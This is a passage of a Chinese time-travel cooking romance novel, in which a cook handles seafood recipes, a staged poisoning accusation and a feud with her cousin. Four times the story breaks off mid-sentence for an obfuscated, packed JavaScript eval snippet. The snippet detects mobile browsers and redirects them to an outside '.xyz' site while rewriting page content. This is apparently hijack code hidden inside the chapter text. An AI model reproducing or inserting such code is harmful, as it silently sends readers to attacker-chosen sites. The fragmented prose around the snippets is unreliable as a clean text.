虾头熬油,这样做出来的炒饭更香,云楚沅往热油中倒入鸡蛋液,快速滑散后盛出,锅中再补少许油,大火翻炒米饭,期间用锅铲压散,再放入虾仁、鱿鱼和其他配菜。 “炒饭时,要全程用大火,小火会让米饭吸水粘连。”云楚沅一边熟练地颠锅,一边对朱师傅说。 “然后调味,撒盐和葱花,酱油要最后放,以免粘锅。”云楚沅将金黄诱人、粒粒分明的炒饭盛到盘中,一锅海鲜蛋炒饭份量十足,总共装了三大盘。 云楚沅将其中一份递给朱师傅,叫他尝尝味道。 朱师傅舀了一勺炒饭塞进口中,蛋香和米香交融的味道瞬间在嘴里蔓延,鸡蛋焦香松软,米饭干爽又有嚼劲,虾仁和鱿鱼圈鲜甜爽脆,葱花等配菜又能中和掉油腻感。 这份海鲜蛋炒饭完全可以用完美来形容。 “小云,你真是个烹调高手,我自愧不如啊。”朱师傅感慨道。 若说从前他还会为自己能做两样拿手好菜而沾沾自喜,如今他已经没有了那样肤浅的想法,他对烹饪之道的钻研远远不够,他要学的还有很多。 “多谢你,小云,我受益匪浅。”朱师傅对云楚沅的倾囊相授感激不已。 他抓了抓腮,犹豫开口:“小云啊,你收不收徒?我能拜你为师吗?” 朱师傅厚着脸皮提出拜师的请求,他年长云楚沅两轮,拜个小女子为师确实叫人有些难为情。 云楚沅面露惊讶,她想不到在这封建的古代,会有男子主动向女子拜师的,着实叫她刮目相看。 “朱师傅,你真的想好了?不怕别人笑你?” “我正儿八经学手艺,谁敢笑话老子!”朱师傅扯着大嗓门喊道。 膳房里的下人们纷纷低下头,走远了几步,装作什么都没听见的样子,不少人心里却在想,啊!我也想和云姑娘学厨艺呀! 云楚沅并不知道县衙里,上到衙役捕快,下到丫鬟小厮,都对她有很厚的滤镜,她做的美食已经在不经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950567|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意间征服了所有人。 —— “裴大哥,你方才用的那一个招式好帅呀,能教教我吗?” “好,我为你示范一遍,出剑时,脚蹬地,扭动腰肢,带动肩部,手腕发力,刚柔并济,一气呵成。” 云楚沅端着吃食寻到后花园时,就撞见裴昱臣手持长剑、衣摆飞扬的样子,翩若惊鸿,婉若游龙。 他的身姿遒劲有力,宛如青松傲立,一身黑色劲装贴合着他修长的身形,腰间紧束的玄色腰带,把他劲瘦的腰身完美勾勒。 结实的胸膛随着他的一举一动,缓缓起伏,隐约能看出衣裳下藏着的薄肌富有弹性,且充满力量感,再往下,那窄腰,线条流畅而优美,如同被精心雕刻过。 舞剑时的裴昱臣减了几分书生气,多了几分英气。 云楚沅眼也不眨地欣赏了一会,看不出来呀,这小书生身材还挺好,想必就是那种穿衣显瘦、脱衣有肉的类型。 裴昱臣收了招式,挽了个剑花,回过神来,正好对上云楚沅直勾勾的目光,他心头一跳,莫名有些羞躁,不知为何,她的眼神像是要吃人一般。 “咳,楚沅,你来啦。”裴昱臣轻握住左手,抵在唇边,清了清嗓子,装作一副镇定的样子,目光温和地与来人对视。 云楚沅收起直白的眼神,扬起一个甜甜的笑容,“裴大哥,用膳了,我做了海鲜蛋炒饭。” “嗯,跟我来吧。”裴昱臣转身往花园中的凉亭走去。 云楚沅跟在后面,眼神像扫描仪一样,上下扫视着他的背影,嗯,宽肩窄腰,身材不错。 欣赏美男,人之常情嘛。 将手里的托盘放到石桌上,云楚沅把膳食端了出来,除了一大盘海鲜蛋炒饭外,还有一碟香辣蟹和一碟辣炒章鱼,新菜也要给他尝一尝的。 “裴大哥,这是我的食肆新上的吃食,不知你能吃得了辣菜吗?” 拎着裙摆坐下的云楚沅,又变回了明眸皓齿的甜美模样,她发现自从穿越到古代以后,她对伪装淑女越来越娴熟了,尤其是面对裴县令这样的文人,总是不由自主地模仿高门小姐的端庄仪态。 云楚沅心想,她这也算是入乡随俗了。 裴昱臣看着两盘红彤彤的菜品,面不改色道:“尚可。” “那便好,我们就在此处用饭吧,这里风景宜人,瞧着心情都好了不少。” 云楚沅又对云楚河说道:“小妹的膳食我已经送到她房里了,你也在这里吃吧。” “好的,阿姐。” “裴大哥,楚河非要来看你练剑,他有没有给你添麻烦呀?” 裴昱臣摇摇头:“未曾,楚河想学剑,我可以教他。” “裴大哥,你又是教他识字,又是教他武艺的,我都不知如何报答你,明明我是来做厨娘的,领着月钱还占了你不少便宜。”云楚沅将鬓边的发丝别到耳后,不好意思地笑了笑。 “无碍,你的手艺又岂是区区几两银子能买得了的呢?” 听了这话,云楚沅心里十分熨贴,这小书生嘴真甜。 22. 海菜包子 云楚沅津津有味地吃着饭,一抬眼便看见裴昱臣脸颊泛红,像是抹了胭脂一样,几滴汗珠从他的额头渗出。 “裴大哥,你怎么了?”云楚沅满脸疑惑,发现他的筷子正夹着一块辣章鱼时,她恍然大悟,“裴大哥,你是不是不能吃辣呀?” 裴昱臣故作淡定地喝了杯茶,说道:“我只是以往很少吃辣。” 若不是云楚沅离得近,能听到他小声吸气的声音,她差点就要信了。 他那原本浅淡的唇色,现在红得似要滴出血来,那一抹绯红正微微擅抖。 云楚沅轻笑一声:“裴大哥,你的嘴唇在抖诶,有那么辣吗?” 吃得正香的云楚河抬起头来,朝裴昱臣说:“裴大哥,你吃快一点,就感觉不到辣了,我就是这样,嘴都麻了。”说完,他又夹了一只香辣蟹。 “你这小子,少吃点!”云楚沅对小弟这种自虐式的吃法感到头疼,她将云楚河嘴边的螃蟹抢了过来,“好吃也不能贪多,小心吃坏肚子!” “不嘛,我就要吃,这叫痛并快乐着,还是阿姐你教我的呢!”云楚河振振有词。 这句话是云楚沅在云记食肆忙得团团转的时候说的,本来是指她赚钱很累,但数银子很开心,想不到被这臭小子学了去,用来怼她来了。 云楚沅无可奈何,只能随他去了,反正两道辣菜也没剩多少了,吃不出什么毛病来。 “裴大哥,你多吃点海鲜蛋炒饭吧。”云楚沅又为裴昱臣盛了一碗饭,把香辣蟹和辣炒章鱼端离了他面前。 这两人,没一个让人省心的! “多谢。”裴昱臣吃了口炒饭,缓解辣意,他心中叹了口气,暗道,以后再也不逞能了。 —— 翌日清晨,云楚沅早早来到膳房和朱师傅一起做早膳。 “小云师傅早安,你准备做什么早膳?” “朱师傅早,我打算做海菜包子。” 昨日朱师傅提出拜师的要求,云楚沅并未答应,一来两人年龄悬殊过大,她不好意思叫年纪能当她爹的人徒弟,二来她忙着店铺的事,实在没时间教徒弟。 如今,两个人互相尊称一句师傅,算是志同道合的友人,经常交流一些做饭的经验。 不过,朱师傅自觉受了云楚沅的恩惠,他时常会给她送礼,有自己做的吃食,还有胭脂水粉,云楚沅不好拂了他的意,照单全收了。 “小云师傅,我去和面,你来调馅吧。”朱师傅安排好分工,他比较擅长做面食,和面对他来说小菜一碟。 海菜包子的馅料主意包含猪肉、裙带菜、胡萝卜和虾米,云楚沅将食材准备好,胡萝卜剁碎,裙带菜焯水后切碎,虾米泡发后切碎,猪肉切成小丁,加姜末和酱油腌制半刻钟。 肉馅少量多次地加入葱姜水搅打,再用盐、酱油和蚝油做基础调味,除此之外,云楚沅还炸了几瓣蒜,拌入馅料中增香提味。 “面团醒好了。”朱师傅端着盆走了过来,他揉好的面团光滑有弹性,做的非常成功。 云楚沅将面团排气后分成一个个小剂子,用擀面杖把它们擀成中间厚、边缘薄的圆皮。 她把包子皮置于左手手心,舀上满满一勺肉馅,右手的拇指和食指交替捏出褶子,收口处捏紧,包子呈现麦穗的样式。 云楚沅和朱师傅带领伙夫们一起包,他们动作极快地包出上百个包子,毕竟县衙里有几十号人,一人分两个都不够吃的。 包好的包子再醒发一会儿,体积变大,冷水上锅蒸半刻钟,面皮松软、肉馅鲜美的海菜包子就可以出锅了。 热气腾腾的蒸笼一打开,那股鲜味扑鼻而来,趁热掰开,咬上一口,柔软的面皮包裹着海菜肉馅,带着一股大海的味道,海菜的爽脆与肉馅的多汁,令人欲罢不能。 “嗯,这海菜包子一点也不腥,好吃!”朱师傅连吃了两个还意犹未尽,要不是数量有限,怕衙役们不够分的,他肯定要多吃几个。 “裙带菜焯水去除腥味,再过凉水能保持其爽脆的口感,这样做出来的包子没有异味并且口感极佳。”云楚沅将小窍诀告诉了他。 之前裴昱臣抱怨过朱师傅做的海鲜腥味重,这其实是这里大多数厨子的通病,总结原因就是不会处理海鲜。 云楚沅前世和水产品打了多年的交道,深谙此道。 她又为朱师傅讲了几个处理海鲜的小技巧,比如用刀尖为大虾开背,剔除虾线;贝类用加了铁钉的淡盐水浸泡,模仿海里的环境促进其吐沙;还有螃蟹要用刷子仔细刷去污垢,蟹嘴、蟹心、蟹肺、蟹腮要统统去掉。 这些脏东西不仅影响海鲜的风味,更重要的是会对人体有害,古人可能不懂这些道理,可云楚沅一说这样做能够减少腹泻、腹痛等不良反应,朱师傅就理解了。 享用过一顿美味的早膳,云楚沅独自一人去了食肆,云楚河沉迷于跟在裴昱臣的身后打转,云楚沅索性就将小弟和小妹两人都留在了县衙。 云记食肆已经开门了,钱婶和钱春香两人暂时住在后院新搭建的茅草屋里,免去了从临海县到小渔村来回奔波的麻烦。 “小沅,你来啦,今日的食材我都处理好了。”钱婶早早就在后面干起了活,钱春香也一起帮忙,她们一个月拿三两银子的月钱,可不能偷懒。 “辛苦你们了,还没吃早膳吧,这是我刚做海菜包子,给你们尝尝。”云楚沅打开纸包,里面躺着的白花花的包子还在冒着热气。 钱婶拿起一个来,三两口就吃完了,“真不错!” “好吃。”钱春香双手捧着包子,一小口一小口地咬着,时不时回味一番。 云楚沅见她们两个吃得香,就让她们坐着休息一会,她将海鲜粥和金鱼饺提前预制好,等到中午就可以直接开卖了。 今日的生意依旧很好,新上的香辣蟹和辣炒章鱼同样很受欢迎。 正逢午时,众多食客在大堂内用饭,云记食肆的门外出现了意外的插曲。 “该死的云记食肆,你们害人不浅啊,竟然往饭菜里下毒!” “大家快来看看啊,出人命啦,我男人吃了这家的香辣蟹后,起了一身红疹啊。” 门口嘈杂的吵闹声吸引了路人的围观,食客们都停止用餐,纷纷向外张望,云楚沅听到消息出来时,就发现自家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950568|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铺子被围得水泄不通,许多人对着她指指点点。 “瞧瞧,就是她,听说她卖的吃食有毒。” “哎哟,看那个躺在地上的汉子,脸上全是密密麻麻的红疹子,已经出气多进气少了。” “做亏心买卖,真是丧尽天良呀。” “看着是个水灵灵的小姑娘,想不到心肠这么坏!干的什么缺德事呀!” 跟在后面出来的钱婶和钱春香慌了神,她们第一次遇到这样棘手的情况。 “小沅啊,这可如何是好?”钱婶紧紧攥住云楚沅的衣袖,她不清楚眼前这两个人说的是真是假,可万一云记食肆出事了,她也得卷铺盖走人,不管是为楚沅,还是为自己,她都不想云记食肆倒闭。 钱春香声音颤抖地说:“我们做的吃食都是很干净的,肯定不是我们的问题。” 云楚沅抿着红唇,打量着躺在地上哼哼唧唧的男人,镇定地判断着眼前的情形,她对跪在一旁哭天喊地的妇人说道:“你有什么证据,他是吃了我家的吃食才会变成这样的?” 妇人一听这话,顿时哭嚎起来:“你这丧尽天良的女人,我男人都成这副样子了,我还能说谎不成,他昨日申时在这吃的饭,肯定有不少人看见了!” 这时,人群后方传来三两道声音。 “我瞧见过他,昨日他就坐在靠近门口那张桌子。” “我也记得他,他点了一道香辣蟹和一份牡蛎煎饼。” 有人作证,现场的气氛再次被烘托了上去,路过的人都是看热闹不嫌事大的,他们全都对着云楚沅指责了起来。 “小姑娘,人家有人证,你没话说了吧!” 云楚沅不为所动,她低声询问钱春香:“你对这人有印象吗?” 钱春香想了半天也没想起来,她声音失落地说道:“对不起,小沅,我不记得这个人。” “没事。” 这个回答在云楚沅的意料之中,春香姐一天要接待几十个客人,怎么会每一个都记得,反倒是人群中浑水摸鱼的几人才奇怪,正常人会留意吃饭时同在食肆里的客人的长相吗? “既然你非说是我们的吃食有毒,可曾请大夫诊治过?你男人的情况都这么严重了,你不把他抬到医馆去,反而抬到我这里,是打着讹钱的算盘吗?” 云楚沅的这番话一出,路人们都觉得有道理。 “对呀,你都没请大夫,怎么知道他是中毒的?” “就是就是,你男人要是真快不行了,怎么还有力气叫唤?” 妇人的哭声一顿,继续撒泼打滚,“我不管,就是你害得我相公,赶紧赔钱,不然我去县衙告你!” 云楚沅讥笑一声:“哼,胡搅蛮缠,我身正不怕影子斜,你只管去告,我相信裴大人会还我一个清白,他可是我们临海县的青天大老爷!” 此话一出,围观群众全都怂恿妇人去报官,在他们看来,裴县令是最公正不过的了。 妇人没料到报官这话没吓到云楚沅,反倒令自己骑虎难下,正当她不知所措之际,后方传来一阵高喊。 “让一让,让一让,我把大夫请来了!” 23. 表姐 钱婶从人群中钻了出来,走到云楚沅的身边时向她使了个眼色,示意她事情办好了。 原来,云楚沅早就悄悄派人去叫大夫了。 “咳,老夫是仁医堂的,让我为他把把脉。”头发花白老者步履蹒跚地走近。 众目睽睽之下,妇人不情不愿地让出位置。 “嗯……你这风疹应当是吃了不适宜的东西所致。”大夫捋着白须,缓声说道。 “看,我就说了,是这云记食肆的吃食有毒!”妇人立马叫嚷了起来。 云楚沅冲她翻了个白眼:“我家吃食吃过的人多了去了,怎么偏偏就你男人有事?你也不想想是谁的问题。” 妇人还不服气,刚要反驳,就被老大夫打断了。 “我说的不适宜,是指他不能吃,有些人的体质特殊,吃不得某些特定的食物,好好想想他吃了什么从未吃过的东西吧。” 围观群众一听,大概明白了大夫的意思,合着是你自己体质不行啊。 “我听说过这种事,我邻家的婶子就吃不得所有带壳的东西,像什么虾呀、螃蟹呀,她一吃就起红疹。” “嘿,我就说为啥我一吃鸡蛋就皮肤瘙痒,浑身难受呢。” “什么,还有这等奇事?那以后用饭可得注意了。” “诶,大夫,这种病严重不?要怎么治呀?” 老大夫笑眯眯地回答:“诸位不必担心,这种情况只会发生在极少数人的身上,而且也不会传染,吃两帖药就好啦。” 云楚沅露出了然的神色,这症状不就是过敏吗!只要找到过敏原,以后远离就行。 “婶子,你还是好好想想你相公吃了什么不该吃的吧,可别什么脏水都往我云记食肆上泼。” 妇人的脸色变了变,小声说道:“我相公以前没吃过茱萸。” “这就对了,你跟我去仁医堂拿两副药,用在他身上,这些疹子过两日就能好了。” 闹事之人走了,围在门口的人们也相继散去,云记食肆又恢复正常营业,食客们围观了全程,也知道云楚沅是被无辜牵连的,纷纷出声安慰。 “小娘子,别放在心上,我在这连着吃了好几日了,最清楚你家吃食是没问题的。” “没错,这件事大伙都看在眼里,要是再有人瞎咧咧,我们都会帮你澄清的。” “别人说什么都没用,海鲜吃食我就认准你们云记了!” “你们云记食肆的饭菜就是吃不腻,以后我还会常来的。” 众人的称赞让云楚沅松了口气,造谣一张嘴,辟谣跑断腿,她就怕别人以讹传讹,影响了云记食肆的生意,这些食客们能为她仗义执言,她感激不尽,还是好心人多呀。 “承蒙各位厚爱,出了这档子事也影响大家用饭的心情了,我做主,在场诸位结账时打八折,另外一人送一份海鲜粥,望大家吃好喝好。”云楚沅高声说道。 “好,云老板大气,我再点两道菜!” “我也要,我也要。” 云楚沅的话引起了骚动,客人们纷纷多加了几道菜,有便宜谁不爱占呢? 虽然这场闹剧落下了帷幕,可云楚沅总觉得不对,今日之事处处透着古怪,仿佛有一只手在背后推动,不管是什么人在捣鬼,总会露出马脚。 —— 裴昱臣不是每日午时都有空来食肆吃饭,他会遣青竹来云记食肆取膳食,云楚沅提前用食盒装好了吃食,想着他吃不了辣,她特意做得清淡了些。 今日的午膳做了葱油蛏子和凉拌海蜇,焯过水的蛏子淋上调好的汁液,再撒一把葱花淋上热油,激发出香味,海蜇丝用蒜末、酱油、醋、糖调味,这两道菜的做法都非常简单。 “云姑娘,这道菜脆脆的,真好吃。”青竹来取食盒,趁机蹭了顿饭。 时隔多日,他终于又吃上了云姑娘做的饭,她在县衙做的膳食每回都被衙役们瓜分光了,完全轮不到他们下人去吃。 想到自己大人下过的命令,青竹不由向云楚沅抱怨:“云姑娘,你都不晓得裴大人多霸道,他想一个人霸占你做的吃食,不准下人们收你送的东西。” 云楚沅微微一愣,难怪西院的洒扫丫鬟都不收她送的吃食,原来是裴昱臣不允许啊,她摇头失笑,“既如此,就听你们大人的吧。” 青竹撇了撇嘴,他和云姑娘告状本意是想请她出面劝劝大人,没想到她也支持大人的决定,他丧气地低下了头。 “对了,你可要督促裴大哥按时用膳,我瞧见过他好多回忙于公务忘记用饭了,这样可对身体不好。”云楚沅叮嘱道,再怎么样也不能废寝忘食呀,小书生身上本来就没有几两肉,饿瘦了可不行。 “我晓得了。”青竹点点头,提着食盒离开了,临走出云记食肆时,正巧听见食客们在讨论先前发生的事,遂记在了心上。 —— “大人,膳食取来了。”青竹将双层食盒打开,将每一碟菜摆放到木桌上。 “先放着吧,我待会吃。”裴昱臣头也不抬地说道,他正在整理近期处理过的冤假错案。 老县令当真不干人事,断案不讲证据全凭臆想,这几日击鼓鸣冤的百姓不少,都是请求裴昱臣重新审理案子的,虽然是些鸡毛蒜皮小事,他也全都认真对待。 “呃……大人,云姑娘让我转告您要按时用膳,别忙坏了身子,得不偿失。” 裴昱臣拿着毛笔书写的动作一顿,自从母亲离世后,还是头一回有人说这话,他不免有些晃神,“好,那就先用膳吧。” 他合上竹简,起身来到摆满吃食的桌子旁坐下,拿起筷子吃了起来。 今日的菜品主打一个清脆爽口,裴昱臣吃得满足。 “大人,小的还有一事要禀报。”见裴昱臣吃得差不多了停下筷子,青竹想将云楚沅遇到的麻烦事告知大人,毕竟他家大人和云姑娘看起来关系不错,这种事还是别瞒着了。 “何事?”裴昱臣一边漱口,一边问道。 “今日有人去云记食肆闹事,意欲污蔑云姑娘在饭菜里投毒。” “嗯?竟有此事,你细细说来。”裴昱臣拧眉,他的画像不是已经被挂在云记食肆的墙上了吗,怎么还会有不长眼的人欺负她。 青竹将听来的事一五一十地道了出来,包括最后云楚沅是怎样解决的也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950569|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一并说了。 裴昱臣左手支着下颌,右手食指敲击桌面,开口道:“青竹,你去查查是怎么一回事。” 同样的,裴昱臣一听这事的经过,就明白了其中的蹊跷,这事并非巧合,定是有人刻意针对云记食肆。 “是。”青竹领命退下了。 而云楚沅那一边先一步知道了真相,只因她收到了一份邀约,有人约她在湘香馆二楼雅间见面。 午后,云楚沅决定赴约,她想知道是谁盯上了她。 湘香馆作为临海县最好的酒楼,装潢还算不错,实木桌子雕刻着精美的花纹,墙上挂着各种花鸟山水的画,楼梯上摆放着一盆盆花卉。 “叩叩叩!” “进来。” 门内传来一道女声,云楚沅推门进了雅间。 “表妹,许久不见。” 说话的女子身穿粉色绸缎长裙,面上妆容艳丽,盘起的发髻上插着一只珠钗,她掀起眼皮瞧了一眼云楚沅,眼底闪过一抹恶毒。 云楚沅看着女子似曾相识的面容,一下子愣住了,她的脑海里回忆起了她的身份——何艳艳,正是她那个舅母的女儿。 这位表姐的变化不可谓不大,以前的她仗着有个泼辣的亲娘,向来是耀武扬威的,如今的她穿着打扮金贵了不少,却难掩那股阴郁之色。 舅母被她送进大牢后,云楚沅算是和舅舅家彻底断绝了关系,她也没有刻意去打听何家的事,他们家的人不仁在先,那就别怪她不义在后。 “表妹,你的日子过得不错呀,都开上食肆了?”何艳艳似笑非笑,语气古怪。 云楚沅敛了敛心神,不管这位表姐想干什么,她都将以不变应万变,“表姐看起来更好啊,都能穿金戴银了。” “呵,你很羡慕?”何艳艳脸色阴沉,声音沙哑地喊道:“云楚沅,要不是因为你,我怎么会到徐家做妾!” 徐公子的通房和小妾两只手都数不过来,何艳艳进了徐家门,整日生活在水深火热之中,和后宅的女人明争暗斗,比她貌美的妾室多的是,她又不得徐少爷宠爱,日子很不好过。 云楚沅面不改色:“关我何事?” 何艳艳用怨怼的眼神看着她,恨不得生啖其肉,“你怎么就不能乖乖听话呢?你害了我娘,我爹也已令娶,为了不得罪徐家,他把我送给了徐公子做妾,你这个罪魁祸首竟敢说和你无关?” 这人好厚的脸皮,明明是他们一家人算计她不成,落得了罪有应得的下场,不想想自己的所作所为,反倒是埋怨起她来了。 云楚沅冷笑一声:“哼,这都是你们自找的,敢对我起歪心思,就别怪我鱼死网破。” 何艳艳呼哧呼哧地喘着粗气,显然被她气得不轻,“好,你好的很!云楚沅,没有裴大人,你算什么?你如此嚣张,不就是仗着有裴县令撑腰吗?我告诉你,今日之事只是开始,我不好过,你也别想好过!” 这是要向她宣战呀,云楚沅明白了何艳艳约她来的意思,这位表姐把自己不幸的原因归结到了她的身上,所以满腔怒火地想要报复她。 人不犯我,我不犯人;人若犯我,我必犯人。 24. 一箭双雕 与何艳艳不欢而散后,云楚沅回到了云记食肆,虽然她气势不减地向对方放下狠话,可她心里也没太有底。 这个表姐再怎么不得宠,那也已经是徐少爷的人了,她要是吹吹耳旁风,叫徐少爷想起了自己这号人,那她以后的日子就不得安生了。 云楚沅感到一阵头疼,她就想好好地做生意,怎么麻烦事总是接踵而至呢。 “楚沅,是谁找你?”钱婶见她一副愁眉不展的模样,出声问道。 “我表姐何艳艳。”云楚沅努了努嘴,把何艳艳跟她说的话重复了一遍,说给钱婶听。 钱婶就像是在听话本上的故事一样,脸色随着变化,“嚯,原来今日来闹事之人是被她收买了,她可真够坏的。” 在民风淳朴的小渔村,最坏的人也就像刘家婆娘那样背后说点坏话,从来都没有断人财路、害人性命的。 包藏祸心的何艳艳令钱婶唾弃不已,她娘已经是十里八乡臭名昭著的毒妇了,她还不知悔改,继续陷害别人,真应了那句话,龙生龙凤生凤,老鼠的儿子会打洞,她们母女二人都是一样的坏。 “楚沅啊,你打算怎么办?”钱婶忧心忡忡道,这丫头还真是命途多舛,啥糟心事都能碰上。 “婶子,你就放宽心吧,我自个能解决。实在不行,像何艳艳说的那样,我还有裴县令撑腰呢!”云楚沅俏皮地眨眨眼。 “那便好,有麻烦裴县令肯定会帮你的。”钱婶松了口气。 云楚沅日日将裴昱臣挂在嘴边,耳濡目染之下,钱婶都不觉得将这对未婚男女牵扯到一起有什么不对的了。 嘴上说着会找裴昱臣帮忙,可云楚沅的心里有了一个绝佳的主意,她想起了一个人,一个同样和她不对付的人。 —— 东市,孙大福哼着小曲儿收起面摊。 自从云楚沅不在这里摆摊后,他的生意变好了,再加上云记食肆声名鹊起,他以云楚沅二叔的身份跟着沾上了光,不少人都以为他的摊位也属于云记,没少照顾他的生意。 孙大福暗自得意,他就是这么有做生意的头脑,随随便便仿照着别人做出的吃食就如此赚钱,可惜徐家人有眼无珠,看不到他的才智。 起初他妹子做上徐少爷的通房后,他还沾沾自喜,以为要飞黄腾达了呢。 他以亲家的身份去向徐家讨要差事,没想到徐家人根本不把他放在眼里,直言通房丫鬟是下人,谁会和自家下人攀关系,将他轰了出去。 哼,他这妹子真是不中用,既讨不了徐少爷的欢心,也不知道拉扯娘家人一把,到头来还得靠他自己才能过上好日子。 “砰!” 一声巨响打断了孙大福的浮想联翩,他摊位上的推车被人踹倒,锅碗瓢盆摔了一地。 “哪来的小畜生,敢惹你孙爷爷我?”孙大福勃然大怒,抬头一看,气势瞬间弱了三分,七八个孔武有力的大汉站在眼前,他们双手抱臂,脸膛黑红。 “你想当谁的爷爷?”为首之人张开厚实的嘴唇,瓮声瓮气的说话声宛如敲响的钟。 孙大福点头哈腰,堆起谄媚的笑容,搓着双手说道:“哎哟,各位大爷,是我有眼不识泰山,说错话了,误会,都是误会。” 大汉对他的卑躬屈膝十分看不上眼,大手一把拍到孙大福的肩膀上,用力攥了攥,“小子,你确实不长眼,什么人都是你能得罪的吗?” 孙大福的肩膀矮了下去,他强忍着剧痛,汗涔涔地挤出一个难看的笑容,“大爷,不知小的哪里得罪您了?还请明示,我一定向您赔罪。” “哼,知道我家主子是谁吗?她可是徐家的何姨娘,云记食肆的老板是她的妹妹,你竟敢攀扯云姑娘,活得不耐烦了?” 孙大福脸色大变,他平日里仗着徐家的势作威作福,风水轮流转,这下撞上靠山一样的人了,偏偏他那不争气的妹子低人家一头。 “今日就让你长个记性,什么人能惹,什么人不能惹!” 一群大汉对着孙大福拳脚相加,孙大福抱着头蹲下,瑟瑟发抖,嘴里不停求饶:“我错了,大哥,我错了!以后我再也不敢了!” 一炷香的时间后,孙大福奄奄一息地趴在地上,眼睛肿了起来,嘴角带着淤青。 大汉又踹了他一脚,虎目圆睁,眼中闪烁着凶光,“何姨娘让我转告你,认清自己的身份,你妹子在徐府被她踩在脚下,你也不配学做云姑娘的生意,识相的就赶紧滚!” 孙大福听见大汉们离开的脚步声,撑着身子从地上爬了起来,用力锤了一下地面,眼神阴鸷,狠厉地说道:“何姨娘,你真该死!” 拐角处的云楚沅默默观赏了一下这场好戏,嘴角微勾,这招一箭双雕的计谋,将两个算计她的小人凑到了一起,这下可有热闹看了。 —— 心情颇好的云楚沅决定今日晚膳吃海鲜火锅,食材主要用虾、白蛤、扇贝、海螺、螃蟹、鱼片,搭配白菜、菌菇和豆腐。 她还准备自己动手做一些火锅丸子,比如鱼丸、虾丸和鱼豆腐。 虾丸和鱼丸的做法一致,只是主材料不同。 鱼豆腐是选用无刺的龙利鱼制成的,和葱姜水混在一起搅打成鱼泥,加入蛋清、淀粉、豉汁和胡椒粉上锅蒸,冷却后切块煎至金黄。 食材在盘子里码得整整齐齐,接下来就要准备海鲜清汤底。 虾壳和虾头炼油,锅中倒水,加海带、姜片、萝卜、大葱熬煮。 除了汤底外,蘸料也很重要,云楚沅用酱油、香醋、蒜蓉、胡麻油和葱花调制了一款经典蘸料,她的那一份多加了茱萸。 云楚沅将铜锅端到院子里,裴昱臣跟在她后面端食材,涮火锅的地点选在了裴昱臣的正院。 吃锅子的时候人多才热闹,于是云楚沅带着小弟和小妹来和裴昱臣凑了一桌。 铜锅里的汤底正咕噜咕噜地冒着泡,鲜美且有弹性的火锅丸子和各式各样的海鲜逐个下锅,它们在热汤中翻滚两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950570|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下便熟了,吸饱了汤汁的精华。 “阿姐,可以吃了吗?” 云楚河和云楚清两兄妹早已按捺不住,他们静静盯着锅中的美食。 “尝尝吧,别烫着。”云楚沅一人给他们夹了一个虾丸,两人蘸了蘸调料后送入口中,鲜嫩弹牙的丸子配上浓郁香醇的酱料,融合成一种奇妙的感觉,仿佛有舞者在舌尖上跳跃。 “裴大哥,你也吃。”云楚沅将所有熟了的食材都给裴昱臣夹了一遍,将他的小碟子堆得满满当当。 裴昱臣赶忙用手去拦,温声道:“够了够了,楚沅,别光顾着我们,你先给自己夹吧。” 云楚沅的视线有意无意地瞄向他,笑眯眯地说:“我听青竹说,你这几日都没有按时吃饭,这不得好好给裴大哥你补补身子,你要是削瘦下去,那可是我……我们临海县的重大损失呀。” 差点说岔了,云楚沅差点吐露出自己给他补身子是为了欣赏男色的小心思。 投喂小书生,成了她每日的趣事。 “楚沅,我听说有人到云记食肆闹事,我遣人打听过了,幕后之人是你舅家表姐。”裴昱臣咽下口中的鱼豆腐,说起了正事。 自打和云楚沅一同用膳,裴昱臣打破了不少以往习惯的规矩,比如不再食不言,不再需要下人伺候。 这个性格独特的女子正在潜移默化地影响他,可他却接受了这种改变,裴昱臣想不明白这是为何。 云楚沅狡黠一笑:“我已经知道了。” “哦?看你的样子好像并不担忧。”裴昱臣见她吃得正香,就知道她没将此事放在心上,或者说她已经有了解决的方法。 “我可不是软柿子,任人揉捏,当然会反击的!”云楚沅左手握成小拳头,在空中比划了两下,颇有要和人比试的架势。 